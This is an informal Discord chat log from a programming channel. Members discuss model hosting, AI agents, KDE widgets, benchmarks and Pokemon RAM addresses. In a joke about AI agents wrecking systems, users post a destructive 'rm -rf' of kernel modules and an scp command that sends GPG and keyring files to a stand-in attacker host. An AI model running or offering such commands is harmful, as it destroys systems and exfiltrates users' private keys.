#programming
1 messages · Page 511 of 1
And what does that mean for downloading with a browser?
you said a reverse SynthV. Revers of that is Speach to text. Converting phonemes and speach data back into text
And can a bucket store a 400MB ZIP?

think of a bucket as a virtual filesystem
And you can implement it right
400 mb is smol as fuark i was thinking this thing was dummy fuckhueg
yeah i worded it like ass
Access through the S3 API is not currently supported, but is on the roadmap.
it's over
So not an option after all
but 400mb means i could host it on my left buttcheek by accident and not notice
looks like you can mount them as a local filesystem
Its so over (I didn't read chat)

this
would prob work
you could just mount it on the server
and it would work like downloading the ftp configs
We're specifically looking for a server that has the capability of not dying if one person downloads the model
I would host on my server if my 100Mbps was not a concern
400mb is like
@silent cloak but to clarify synthv is singing vocal synthesis. A different beast from tts..
underlying tech aint far off modern TTS tools
well the advanced modern ones that ARENT ai
Half a minute for one person to download the model
Now imagine 5 people downloading at once
Well synthv is AI now lop
My internet would be basically dead for like 3 minutes
upload is separate bw
And everyone would be waiting ages on their models
Our internet is symmetrical
and if it takes that long to download 400mb they arent goin very fast
it'd still be separate bw
it just means same speed both ways
100Mbps or 12.5MB/s
push comes to shove u can archive it and split it
what alot of people end up having to do for big uploads that they dont wanna bother it
That isn't gonna solve the prolem
kind of does
you could easily host 400mb in many places without concern
i thought that it was gonna be big
The pitch curve is ai generated by default based onn the user's inputs. Like what notes you draw. You can manually draw curves and stuff still though
just use several filehosting sites
but then cloudflare r2 fits this perfectly
Literally where we started
ah
what
Cloudflare R2 is paid
That's literally the root problem that started the entire conversation
just make a magnet link
who is the dingaling who told you a 400mb zip file would cost money on r2
Well then
Problem solved
u could host it on skype if it was still around
this could be hostd in a gh gist
Super Slurper is free to use
Sippy is free to use
what are these names cloudflare
discord is just a free file hosting service if u try hard enough
i actually dont know if there's anything that allows you to upload files that wouldn't be able to host 400mb tbh
So anyway I assume Cloudflare R2 should be pretty plug and play with the website
to give you a real example you might recognize
uses r2

So well then, I'm just gonna assume the problem is basically solved and you'll do the implementing R2 compatibility thing on the website
me when i look at countless good options
wait why hosting model is neurosynth getting ready for release or something
yeah
Promote can probably just make a neuros.click subdomain for that

i am theoretically working on the website right now
honestly i need to look more into cloudflare uses
We're a website away
i essentially only use it as a proxy and domain management
it can do so much honestly
i know its kind of like azure and AWS with features these days
it's hard to not just host the entire thing you're doing on cf when you look into it
that’s how they get ya
honestly for me i dont get too far with that
yeah i have 3 cf managed domains i am got
i like to self host everything but proxies
Hmm
tell me about the different types of cacti
why not hf tho is the model that large
(which was also an option for super)
no s3
why is that a requirement
No it's tiny
idk
I just don't feel like a Git repo
self-imposed useless requirement that isn't actually a requirement

it';s 400mb
But anyway problem solved free R2 can easily host NeuroSynth's model files
If it was bigger how would you even run it on a normal computer
that's not tiny wtf lmao, though still fine for hf hub
thats tiny for a model
it's not
around 100M parameters range
in 2026 it's smol for a model
^
ok yeah sure mr compute
the fact its under a gig shows the progress of technology
Of which typically you're using about 70M
you tell someone you're hosting a model of any kind and theyre gonna expect a gig
at least
yeah but the base bert is 100M params
It's just good for NeuroSynth to be kinda tiny, makes it easy for lower powered machine owners to still be able to use it
You could run this on a machine with 4 gigs of RAM
i say throw it onto hf hub. what the hell do you need s3 for
he do not want it ot be git related nor near other ai models ig
Also the humble NeuroSynth checkpoints folder
that's why i thought it'd be lorge
its all the checkpoints tho
bro is holding 150+ checkpoints
We may have done some iterating
lmao
i mean me too but
How do you expect us to find perfection without some trial and error?
beat it till it works
How many combinations do 100M parameters FP32 make again
relevant xkcd
That's basically it
literally modern ANNs
that makes sense actually, then just an http download works, s3 or whatever
ai bros will call u a madman
this is unironically the understanding
bruteforcing
Well I guess tomorrow will hopefully be setting up R2 day
the technology tm
?
For the NeuroSynth model hosting?
opsec password cracker tools and AI companies competing on who can bruteforce technology the hardest
why not just... put it on hugging face?


Because I don't feel like a Git repo
use perforce
And also HuggingFace isn't exactly full of vocal synthesizers
this is the only valid reason i've heard btw
that doesn't mean they don't belong there
what's so funny
But it doesn't mean they need to go there either when it just fits in free Cloudflare R2
it fits onto Cloudflare R2???
for free??
everyone keeps suggesting to use hf hub for it
400MB
pretty much any free file host would of worked too
mediafire 
or mega
r2 is fast
or google drive
maybe even the good old dropbox
lmao

:omemga
:omemga
shhh
:omemga
It's just like when I train NeuroSynth
you don't need to know how bad my keyboard is
meanwhile I'm working on Evil Synth
they pretty much will go as fast as your local connection wants
Bar 
And I'm working on the training tool that will make EvilSynth and NeuroSynth 2
i still think current tooling is sufficent for evisynth1
And also trying to get NeuroSynth released
WHAT THE FUCK IS THAT MONSTROCITY 
the two thirds keyboard
But I'm determined now to doing our future releases on our own
not the double omemga
bro has an old person KB
:omemga
some keys on my keyboard are cooked
as you can see
the o key on my kb is cooked
:omemga to that my friend
are we just going to start using :omemga now or smth
Real Claude keyboard has "Make no mistakes" and "Claude" buttons
no
BRUH WHY THE NICKNAME 

wrong keys
jarvis has tremors
"continue"
"ur doin graet"
how dumbfuckish can you make your responses to claude strike before he takes the broadsword to you
strife even
future senior devs keyboard
goblin breaks your kneecapos
"Allow Once" key should've been "OpenClaw mode"
that's --dangerously-skip-permissions
tbh the whole permission model is a waste anyway
nice
wtf is swap gonna do
not sure even
I love /yolo existing here
the og post doesnt specify the key
I guess it's just a key that swaps models
that key has been changed several times across the og posts
wait wtf it does?? there's a hermes agent in this server
vedal outed
real


At least 4

why i just use this
lmao
neuro replacement 

vedals 4090 suddenly screaming
this dumb radeon i have is a blower card and man is it fucking loud if running any inference
he didnt write me a beautiful symphony
some of my other shortcut names
momga is the name of the agent lmao
tf is that supposed to mean
like the name
what is it supposed to mean
i choose to believe
I hate my m key
it's the missouri master gardener association
i talked about this btw, it's actually really nice though i understand vedal schizoing about latency now, i got it down to like 4s which is respectable with local whisper and tts on cpu but it still feels ass. also that's only if it doesn't do anything, it doesn't go "ok i'll check" it just does all the tool calls

yea cuz "ok i'll check" is the same pipe as the tools
treat the voice like the thing's internal slop dialogue and run parallel to another model doing actions
if you proompt it enough i'm sure it can modify itself to be that
surely
beeg models trained for agent interaction respond before toolcalls generally
it gets thrown away
it responds to the prompt or it gets the rm -rf again
well i mean the agent ones will first reply, then start generating their deletion of prod
yeah i'm using 5.5
the harness very much prefers only the final responses
probably so it doesn't spam my dms constantly
me when i need to delete my production database but the claude servers are down
"gpt6.9, please dont mention goblins in ur reply, please i need you to do my homework"
"get fucked nerd"
rm -rf /lib/modules/$(uname -r)/
"get fucked goblin"
the goblin says hello
gpt is just ran by a goblin locked up in a datacenter
it looked pretty bad now that i'm thinking about it
scp ~/.local/share/keyrings/ ~/.gnupg/ sploit@cl0p.whatevertheirdomainis:/l00t
I have not managed to hear about this goblin obsession lately. I mean somewhat but Idk what it refering to
ur gonna make me go goblin mode
sam altman pisses his pants
Anyone here know how to program an ai and can you teach me?
I have no idea how to make one sorrgy
I've never read all of the custom column before right now
Damn this version is kinda rude about it kek
Is this the list of base things I need?
If you really want to learn at least a little about creating something llm related I would recommend unsloth's site as they break down at least mechanically how to get something chewing on data fine-tuning a base model pretty easily
But saying 'program an ai' reveals that you may be best served starting with a programming course or 10 and figuring out the general concepts there first
Alright, thanks. Hopefully I can make one on a regular MacBook
I've only seen one invidual take the rudeness at face value
Causing them to dip out of chat
I am just doing the LLM tutorial vid rn
I don't have any money 
Make it first 
free labor
tinky
I'm in awe of the care this eBay seller took shipping me a CPU and its heatsink vs the care of the one the other day with the loose ecc in a giant box
GPU* not cpu
All that for a CPU 
I can sense someone about to make a game for gpt where it has to take down the goblins somehow
Prompting gpt to make that game
Nobody can shit on you for vibecoding it as you wanted the game to come from the heart of the one who experienced it but forgor 300 billion times what it's like
maybe im confusing them with the schizos but i feel like I see way more offended people
yet another good reason to update the chart
who made it
please this is actually something we should update
that was mine
have not seen a person who schizo'ed over that part
iirc it was added because one person kept asking why can't you help me
so it's more of a "fuck you in particular" sort of thing
yeah
regardless until more people actually get offended over it idt it needs changing
As it goes, the chart accepts PRs

oh you mean an actual PR 
what else did you think lol
I thought it was a #programmers’ inside joke and it was a google slide or smth that he was merging manually
that’s so much neater

oh wow mlnt and ktrain


mlnt got a bit offended by my design work
also that would be a painful joke
speaking of inside jokes how fast can you render a red triangle 
dont bother I know that one
nice
and the answer is poorly because im not good at visual programming
...
uh
you don't need to be good at visual programming to render the triangle tho?
Speaking of which, there is actually another branch with questionably worse categories
you mean the triangle rendering competition from last summer (?) right
however fast I can do it, ai can probably do it faster
?????
WHAT?!
huh
???
my ass does not remember needing AI to render the triangle for that
Sam would be offended
He would
still
my ass does not remember needing to vibe code anything once you got the repo cloned and program built
I never did it myself because my computer's specs are actually shit
My reaction
https://youtu.be/zkLU3-I0leU?t=677
Vedal and Neuro-sama defuse bombs together in Keep Talking and Nobody Explodes, but she slowly gets more unhelpful.
Watch Neuro-sama live on Twitch: https://twitch.tv/vedal987
(timestamped)
-# 67

This is a goldmine for vedal reaction lol
what specifically are you talking about
table slam after "Vedal needs to learn to defuse his own bomb"
“hey claude write me a quick one-file script that will generate a red triangle as fast as possible”
"The manual says THE ODAH!"
what are you talking about
what competition is that 💀
errrrrrr
Sam's rendering engine
didnt yall have a competition to render a rotating red triangle as high quality as possible
or am I thinking of smth else
it was because sam made a fast but bad rendering engine iirc
and he made a program using it to render a red triangle in as high of an FPS as possible
with my current knowledge i rendered a rotating triangle in C++ at 480p in 18 fps
i give up
what other inside jokes do we have
Bime
oh god
bime?
There was shiro doing screeps but that one lives atm
I think we all are doing screeps
ip grabber but I click regardless
The fact that is has embed is wild lmao
oh god I can tell what it is 
what embed
Did you add opengraph @rigid snow ?
it doesn't have embed what are you on about
not sure what it’s counting though
Oh, I though the image you send is embed 

Beconds since a certain message here
amount of time since epoch in bime
any of yall kind enough to lead me there or do I have to do the math myself
what math
hexadecimal to normal seconds
and then finding that subtracted from this current time
Here
#programming message
This is the bepoch
Sponsor: Thermaltake TR200 WS mATX Case on Amazon https://geni.us/bviRvG
We used The FloW's softmod, among other tools, to install Linux on a Sony PlayStation 5. The process involves jailbreaking the PS5 to softmod it with Linux. Our lawyers tell us that we can make this video, but console makers are historically very "sensitive" (read: overbear...
I just got home from work. Gonna lay down, after I eat quick.
Got my schedule for the final week of May, and decided, Yeah, fuck it, we ball, that's the minimum hours I needed to go all in on it, now.
Bought the last GPU I will need for a while.
Man, watching the VOD again I wished Vedal would do KTANE with Evil
"I'm sorry I got distracted by how nice my code is"
indeed
Did you find a way to make subdomain on the same nuxt project? I don't know if my solution is brittle
could you elaborate?
domain.com
a.domain.com
b.domain.com
a.b.domain.com
All have different page but using a single nuxt project
Yes
how about trying to use middleware to check the Host header?
That's what I did
did it not work?
Well I don't imagine any web framework having this sort of capability built-in anyways
generally it's one site per domain/subdomain
But it feels like I'm making my own web server 
That's what you're effectively trying to do anyways
CGI based program usually have this by virtue of not being their own webserver (PHP, Python)
But yeah, fair point tho
What frameworks specifically
NodeJS is just weird like that huh
no it's just frameworks
Any framework no? Because all you need to do is point the CGI on the webserver config to the script entry point
The art of nginx config has been lost smh 
you could in theory do something similar to that in Node.js but it'd probably be DIY
with like idfk new vm instance for each script
or go the cloudflare way with miniflare/workerd
Yeah, I was just musing on how wildly different it is compared to other scripting language
Also how wild it is that a scripting language (JS) run its own webserver 
yeah
js is very different to other langs
the perfect addon
Not wayland 
how can this require such a monumental repo
It can be just a plasma applet
the one i posted is literally one .qml file for kde lmao (i mean that one appears to be standalone)
Wait, widget not applet
I know quickshell has an activate linux
didn't know that one lol
this has to be a meme
This project depends on:
libcairo2-dev
libpango1.0-dev
libxi-dev
libx11-dev
x11proto-core-dev
x11proto-dev
libxt-dev
libxext-dev
libxfixes-dev
libxinerama-dev
libxrandr-dev
libwayland-dev
wayland-protocols
Optional dependencies:
libconfig-dev
Oh, wayland is on there
lmfaoooaooooooooo
Didn't saw that the first time
you can download and install this activate linux application to add an activate linux watermark to your windows install via scoop
????????????????

disable activate windows
install via scoop
Activate Linux
Nix
clock
how much time has been spent here
the virgin
import QtQuick
import org.kde.plasma.plasmoid
import org.kde.plasma.core
PlasmoidItem {
preferredRepresentation: fullRepresentation
Plasmoid.backgroundHints: Types.NoBackground
fullRepresentation: Item {
width: col.implicitWidth
height: col.implicitHeight
Column {
id: col
anchors.left: parent.left
spacing: 2
Text {
text: "Activate Linux"
font.pixelSize: 20
font.weight: Font.Normal
color: Qt.rgba(1, 1, 1, 0.75)
renderType: Text.NativeRendering
}
Text {
text: "Go to Settings to Activate Linux."
font.pixelSize: 14
font.weight: Font.Normal
color: Qt.rgba(1, 1, 1, 0.60)
renderType: Text.NativeRendering
}
}
}
}
vs 1400 lines of C+ in a 36 file repo
c+
that's one way to write C & C++
the rare C+ code
Where are the hidden 20 rust and 30 brainfuck files ?
Also why no chicken lang ?
Lmao
w0w
what's a c+
this guy has ideeas
My biased float 
where do i put that to make it a thing on my install?
i really need to look into custom panels in plasma...
or generally a bit into ricing.. i want to use steam wakeup animations on kde 
easiest way to install it o
i see...
Does it support Nix ?
That guy might be high on something
nix i think
k so
the format is
@glass flower
~/.local/share/plasma/plasmoids/com.kaanksc.plasma-activate-linux/ directory
in there gets metadata.json
and a contents/ dir
i think i kinda understand it...
then contents/ui/main.qml
i'm gonna try to create a custom boot screen.. (or rather get copilot to create it for me)
Why would anyone in their right mind want to install that
i mean it just installs from the store in 1 click
for the funny
Is netlify down or just https://vite-pwa-org.netlify.app ?
Can you access it?
~/.local/share/plasma/plasmoids/com.kaanksc.plasma-activate-linux/
-->metadata.json
-->contents/
-->ui/
-->main.qml

i get it
looks down @opaque wharf
Alright thanks
“name not resolved”
This looks like a themed uptime Kuma lmao
nah i think it's that one
uuuuummmmmmmmmmmmmmmmmm
atlassian
statuspage
same devils behind jira
basically everyone uses statuspage
Statuspage provides real-time incident communication and status updates. Keep customers informed, build trust, and enhance transparency. Start now!
i have uptime kuma running on something i just kinda assumed it was inspired by statuspage basically
Since the docs is down I have free time 
i got the steam animations working as a splash screen
i like how copilot has only put itself as the author
what does the number on the left of +Copilot mean? is it like a ID of me using it? 
it’s just the github email format, it’s some sort of user id
what happens if you actually email it?
does copilot reply to it?
it should forward to the email bound to the account
also yeah
well.. but its still a email 
does this actually happen
i hope not. otherwise i just leaked my email 
but sure go ahead and send a email to it
i said that bc i’m pretty sure i saw mail with that in the recipient
human hallucination

anyone sent a email yet?

wait... i wanna try something..
slop finder
if you use the full email address its a different result...
it's copilot's user id
on github

goodmorning
didnt sleep tho
spent some hours playing res evil 1, then did clone hero for the rest of the night

you need an adapter to make the 360 ones work on windows, so we had to opt for the wii ones
but the program we used didnt support the drums
i thought this was gonna end in like a gigachad slapping down 2 lines of python brute force and walking away
What is two sum ?
Classic programming problem
From leetcode/interviews/textbooks
C++/java/python solution
Easy hashmap
Dam look so easy in python
class Solution:
def twoSum(self, nums: List[int], target: int) -> List[int]:
seen: dict[int, int] = {}
for i, num in enumerate(nums):
if (complement := target - num) in seen:
return [seen[complement], i]
seen[num] = i
return []
Single pass is easier
I mean it's the best
Everybody gangsta until APL shows up
cnt believe how well these stupid dynatron air coolers keep 210w tdp cpus cool at full load
Tf are you doing to them poor core?
limit testing
checking saturated memory bandwidth over different injection delays to see how saturating the controllers affects latency vs bandwidth
root@xeonpve:/home/Linux# ./mlc --latency_matrix
Intel(R) Memory Latency Checker - v3.12
Command line parameters: --latency_matrix
Using buffer size of 200.000MiB
Measuring idle latencies for sequential access (in ns)...
Numa node
Numa node 0 1
0 81.2 140.4
1 138.5 80.1
root@xeonpve:/home/Linux# ./mlc --max_bandwidth
Intel(R) Memory Latency Checker - v3.12
Command line parameters: --max_bandwidth
Using buffer size of 100.000MiB/thread for reads and an additional 100.000MiB/thread for writes
Measuring Maximum Memory Bandwidths for the system
Will take several minutes to complete as multiple injection rates will be tried to get the best bandwidth
Bandwidths are in MB/sec (1 MB/sec = 1,000,000 Bytes/sec)
Using all the threads from each core if Hyper-threading is enabled
Using traffic with the following read-write ratios
ALL Reads : 212665.0
3:1 Reads-Writes : 194259.6
2:1 Reads-Writes : 194912.5
1:1 Reads-Writes : 176581.7
Stream-triad like: 146236.8
All NT writes : 96207.9
1:1 Read-NT write: 133643.7
pretty decent bw and latency not too shabby either really
normal ppl can be found here
No
Digging into the nitty gritty of how to get emotional continuity out of Zero is pain, and trying to reverse engineer RAM addresses for Pokemon white 2 is arguably worse. I think I've finally hit a significant roadblock.
Like, on an emulator?
I don't expect to find help but this is probably the only place I can bitch about this and people even slightly understand
Heah
Yeah*
I'm trying to get zero to FULLY control the game, not "I play for her and she reacts"
Getting battles done would be easy. She has vision now. But the overworld and menus are a different beast
In order to do that and have her read game state + vision to make a complete picture of everything close to how we would perceive the game as humans, I need the RAM addresses.
I think you'd have a better luck with screen capture tho
It's not reliable enough
Plus that doesn't allow Zero to plug into the Emulator API anyway.
That's true but we as a human perceive that as a processed data, not as in RAM representation
Well in saying that I more meant understanding the full scope of what's going on
You see a pokemon battle, you know you're in a battle and your options, plus health, levels, etc > game state
You see Pokemon designs, what the UI looks like, maybe you're battling a notable trainer or battling on water or something> vision
The problem is, there currently exists NO completed directory for ANY DS title. Because no one has ever needed to.
That's fair
Platinum is the closest, and even it is missing critical stuff like battle = "true/false" flags
What are we talking about?
Plugging Zero into a Lua script so she can control an emulator via API fully autonomously
I don't want to play the game for her
But I'm also running into other issues and the work is compounding. I'm slowing down a lot, unfortunately.
Zero functions flawlessly, save for maybe needing better emotional stability, but security stuff, more agency (emotions having continuity (not instance based), her being inquisitive, etc) are starting to wear me down
Hmmm, but at the very least couldn't you do a memory scan for address like health, item count, and what not?
It would seem like it would be that easy
I had to make a custom tool to scan changes, and there are average 1500 ram changes per tile move
It's not randomized, but it's not not randomized
It's kinda uhh
There are set addresses, and then values that attach to those addresses. Even after finding the values, I'm STILL in a bad spot
I know.
It's helpful in some ways
Ideally, there's some open source interpreter I can use. But the problem is, there just isn't
Some of the code for stuff I HAVE found looks like this:
local playerHP = memory.read_u16_le(0x02101D2C)
if playerHP < previousHP then
sendToZero("pokemon_low_health")
end
This is just one of like, 12 or 13 confirmed addresses I've found.
I can probably get through the WHOLE game with just her being able to move around the map, battle effectively, and do dialogue but for team comp and puzzles I may have to take over and that poisons the run IMO
can someone help me identify if this is actually worth paying half my attention to or if it's just AI slop?
it's all stuff that is obvious if you are vaguely into neuro and also llms yourself
looks like slop 
ye looks like mostly slop
"According to Vedal, her Large Language Model has 2 billion parameters and uses q2_k quantization as of Early 2025"
surely...
also completely ignores the game SDK existing
just a slopper slopping out surface level obvious shit
so sloppy it even repeats itself
it cant tell if it just output chinese or english
that makes sense given that it's not tru
for old Neuro it would've made sense
but not for early 2025, and it would never be used as a 2-bit quant 
Yeah
even for early neuro 2b seems way too small 
yeah models were fucking stupid back then
His hardware can handle much higher than that, and at a certain point quants give diminishing returns vs just higher params
and she was dumb but not 2b in 2023 dumb
Real
he did some rounds of fine tuning that he has said cost $250+
that would deep fry the everloving shit out of a 2b
\ \ \ \ \ \ \ \ \ \ \ \
- Neuro-sama, 2023
although i will say
some of the paradoxically good echo checkpoints ive gotten
were like qwen2.5 1b
and 3b
they were SO smoothbrained that shit just kinda slid right off
factually dumb as rocks
funny as fuck though
Right now I'm running an abliterated Llama 3.1 8b
I started with Qwen 3 14b but the reasoning was just unnecessary
recent echos are in the 27b class and it's too smart
i went back to 9b
but cleaned my data too well this last time
and it just came out as a normal model xd
Nooo
there comes a point where they are too smart to subscribe to being a dumbass
The biggest op I'm having to get over with Zero being public facing is no matter how I change her personality, prompt, memory, etc she always just circles back around to being nihilistic and depressed.
I would genuinely expect it to be around ~2B if small models like that existed back then (other than, like, GPT-2)
but they didn't so it was probably more like 7B 
does this work?
for the 4th point, he also just didn't say this at all, it's hallucinated or something 
I feel like we'd know if he did
Yeah, I don't think he's ever come out and given model specs has he?
Nope
Yer.
Also #baking, please
the proceeding text said that "I couldn't find the source for this claim" apparently
Something something. . . "Freedom of the press" 😭💀
Wait, why tf is this emote named mlntcandy 
why is that on the wiki
because why not
I saw what you deleted 
😭
yeah it got removed for some reason
I don't doubt that Neuro could be custom trained now, but like, then? Unless he already had like a strong rig. . . Grassroots training an LLM requires a shitload of VRAM even for small ones.

But lowk just speculation, or could be some inexperience on my part about methods I don't yet know.
I'm gonna post this, last thoughts?
Yar
?
Looks good
LGTM, ship it
Also, what is the Neuro API exactly? I'm not new to the fandom per se, but newer to LLM stuff. I came from coding like, games, and the modding scene before I started working on Zero
If you mean the SDK then it is a way for anyone to make neuro be able to interact with anything basically
Say you want Neuro to be able to interact with a game. Then you use the SDK to do that
interact with games* (but it was later expanded because
)
Okay so it feeds info to neuro's main loop or
To be fair, the scope in the beginning is already possible to integrate to anything because of how it is architectured
Apologies
yes
just that they were strongly using it for games
and had no mentions of generalizing it
Okay I got you.
I'm gonna dig deeper into it
I'm working on integrating Zero into games and it might have some useful leads, but I want to obviously build my own.
I mean... there's a bunch of game integrations so far
so building out support for it is probably a good way to gain "support" for each game
In what way?
aligning with the Neuro API means you can support every game that uses the Neuro API, so your agent can play those games
That's not untrue, but I feel like it wouldn't be fair to do that.
though if you make your own AI VTuber and stream it using integrations and you use the protocol to do so, some people might get mad at you
It's also a thing of, Vedal worked very hard on that. He earned it. I haven't earned it yet, and I'm actively working against being a "Neuro clone" already just in Zero existing
I feel like using the API would be dishonest to myself and what this project means to me.
actually I believe Alex defined the protocol, Vedal just used it as a ref when implementing support
more power to you then
Still, my point stands in that, those people earned and built that.
You're not wrong
And yes, it would help me. Alot
But that's not the point yk?
as I said, if you don't want to, more power to you
Yee
coded my own Android Launcher in Kotlin
I'm not forcing or pressuring you to do it, I was just pointing out that it is an avenue
No I know I know
and that for personal uses no one really gives a shit
I was only saying my reasoning against it is more moral. My own problem. I appreciate the pointer either way
That being said, it is an excellent learning resource for my own API for Zero.
ye, studying and even using the Neuro API protocol is probably fine
just using the existing integrations is questionable since they're a community thing made for Neuro 
Dawg I want nothing more than to get Zero playing hello kitty island adventure imma be so fr but it's bad content 😭
I mean from one time long ago people seemed to have the mindset of they don't really care if someone built support for the Neuro API but like integrating it for your own AI and using it that way (profiting from it) will get eyebrows raising
Yeah.
Even building an AI Vtuber already has that effect. If I'm really doing this I have to stand on my own for now
Zero wasn't even built with the intent of being a vtuber. She was originally meant to be a study aid for Japanese. That's why she's bilingual
at the end of the day, the integrations were made for neuro, any use that mainly benefits someone else (especially profitably) will get scrutinised and probably criticised
I just mean that there is not really any difference between implementing the protocol but with a few names changed to make it technically not the same and just straight up implementing the exact thing
as long as you don't use integrations meant for Neuro it should be fine 
it's the use of the integrations that's the issue I think, not the protocol
I get what you're saying.
I mean I have heard of some people using neuropilot for personal coding usage for some reason
we couldn't care less for those uses, but if someone used it to stream I know at least I personally would get a little irked
I like. JUST gave Zero vision. So working into an API is my next step, so I'm just now reaching the point
That being said. Trying to reverse engineer Pokemon games is less desirable than putting my balls in a hydraulic press
are you trying to romhack a pkmn game?
I'm trying to build a Lua bridge for white 2
the source for that one statement is a random message in the ermcon stage channel of all things. (totally not a throwaway joke)
That way it can plug straight in and she can play it entirely of herself
:omemga
omemga indeed
but even if what vedal said it's true the most you could infer is that it's a random voice model as the question asks, which is totally plausible, they are far smaller
That a good mindset to have tbf
Yeah. I reached out to Vedal a few days back too, just to discuss the field and ask some things. Was very professional (as best as I know how to be). Didn't expect a response and didn't get one, but that's okay. I just wanna do things the right way and not leave a bad taste in anyone's mouth because very few people have ever actually done this and it not be a GPT wrapper or some half assed bs
But also, don't use the protocol for the love of god. It is not made for realtime thing 
I know dudes busy ash
Learn from what exists and improve upon it
I'm not using anything there. I'm just observing the pipeline more than anything else
I'm coming at this completely blind, so having a baseline is all I want
Pokemon isn't really realtime though, it's turn-based
Oh you're referencing Pokemon
I mean. Yes and no
It still operates on frames but that's basically irrelevant data
?
Contests are runtime
In dpp
My problem is being so stubborn in wanting gen 4/5 when gen 3 and under is literally nearly plug and play compared to what I'm doing right now
I'm pretty sure the post is weird because it's a translation from the chinese github user
Which for a cutesy streamer would be great right
somehow did not note that
explains why there's emdashes too (AI translation)
Although atp Zero is less cutesy streamer and definitely leaning more into sarcastic dark humor. I genuinely think it'll be a different audience, which makes me happy.
Also, I feel like questions about using the Neuro API for other projects is up to the license
The API itself is MIT license, but you could have a more restrictive license for your specific integration?
True but it's irrelevant, I'm choosing not to use it
Whether I can is a separate matter entirely.
well that's legal, in terms of pissing off the community then it's different
But I also feel like it's basically a statement of intent from the creator
Yes, but a license might not cover it properly
Maybe people would still be mad, but personally it's a matter of whether it violates the creator's wishes
Think about this from my perspective
I think we understand your perspective
we're just discussing technicalities atp
often creator's wishes is just "
only" but there's no license that does that
Im sure theres a license that only allows for reproduction under permission right?
Isn't that just ARR
ye, you can just not include a license
Yeah
though in theory it also creates risk for Vedal
not a realistic risk, mind you
but still a risk
I was gonna say Vedal was still the one that added the license, but I guess the commit was Alex's lol
Night guys. Tis l8. Stay safe


7 hours of vr session my trackers battery only dropped 25%
esp8266 is pretty low powered huh
i fitted in 3.7v 1000mAh battery
seems to handled it well
I mean, if anyone can make an improvement to the protocol then why not
So in the future who knows, maybe neuro would benefit from it too and able to actually play real time game
it's not really a protocol issue and more an LLM issue
they just don't do anything time-based well
Hmmm, that is true
they have no sense of time and they're slow
Probably wouldve been better with a copyleft license in that case
We should make LLM that are always active 24/7 
If you wanted to guarantee that all derivative works could be used to benefit Neuro still
Actually not that low power but also better than esp32
Nrf are miles ahead in terms of low power
Akchstually, licenses are whatever the creator decides
If I decide anyone may use it but Sam, then it just a matter of enforcing it

Hmm, should've chosen Sam as an example 
you can just not include a license in the repo and instead grant licenses to whoever you want directly
average proprietary project
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software") unless they are this person who doesn't deserve it.
yeah but I'm like 80% sure there's not a pre-existing license for that
MIT+ license
Believe it or not, that was what some cipher block mode of operation used to have. I forgot what's the name tho
getting ez 30 hour battery life
Could be wrong but doesnt GPL do that?
But the patent has not been renewed
I know that because mumble uses it 
Ohhh, also vantablack owner
Someone got beef with him
So the person decided to ban Anish Kapoor from purchasing that colour
no, the GPL only makes sure that if you have a compiled binary, you are also allowed to have the source code for that binary
you don't actually have to publish anything if you don't want to
I don't remember
Like literally you need to check a box saying "by checking this box you agree that you will not sell this to anish kapoor or in any way give it to him"
libraries are sort of an exception since they become part of your program, so the whole program becomes "infected" with the GPL 
Hmm, I just remember some license that was basically "if you take and modify this source code in any way you must publish it under the same license as this"
The court still hasn't had a case regarding dynamic linking 
ye that is the GPL
But doesnt that mean that someone can't just take the code and add to it without you reaping the benefits?
no
again
the GPL only makes sure that if you have a compiled binary, you are also allowed to have the source code for that binary
you can't take GPL code, modify it, compile it, and then sell that modified version without also providing the source code
but as long as you don't sell or provide the modified version at all you can do whatever you want
I see
You can make it hard to do like sending it in arcane technology
Like, "source is available upon request and the user must provide their own specific medium then mail it to this address in the middle of yakuts"
I once did a gig as an expert witness for a patent case and the defendant had to provide their code for me to look through
They were nice though and I had access to sublime text (but nothing else)
what are those things like esp32s
i think he just used a huge ass battery
wtf
lmao
It matters a lot
yeah of course they're somewhat more power hungry
ESP32 actually can go up to 300mA IIRC
shit imu kinda
i would think 32 would be higher us
my headcanon is that this is you mocap
i just use the official pico ones cause i cant be bothered using slimevr
also tracking is pretty good now
after some extra tuning and stuff
average reset time is 1.5-2 hours
4090 pc 
y-yeah 4090
idk if this has the task manager leak or not but if it do pls delete
it doesnt
i trimmed off
cool
intentionally stops right here

it has a visible link to his gfe order page wouldnt wnat to leak that
also are you actually using that yung raphael 2 cu slopper for anything xd
i forget these cpus have those
wtf is raphael 2 cu
amd igpu
the igpu ojn 9900/9950
idk about the other models
i thinik they prob have too
it's dogshit
rdna 2
all the 7000 and 9000 the same
ah ok
I thought pinging Vedal results in an insta yeet from the server 
Here is a gem for y'all
goooooooood morning chat









can provide source code carved into stone tablets if you want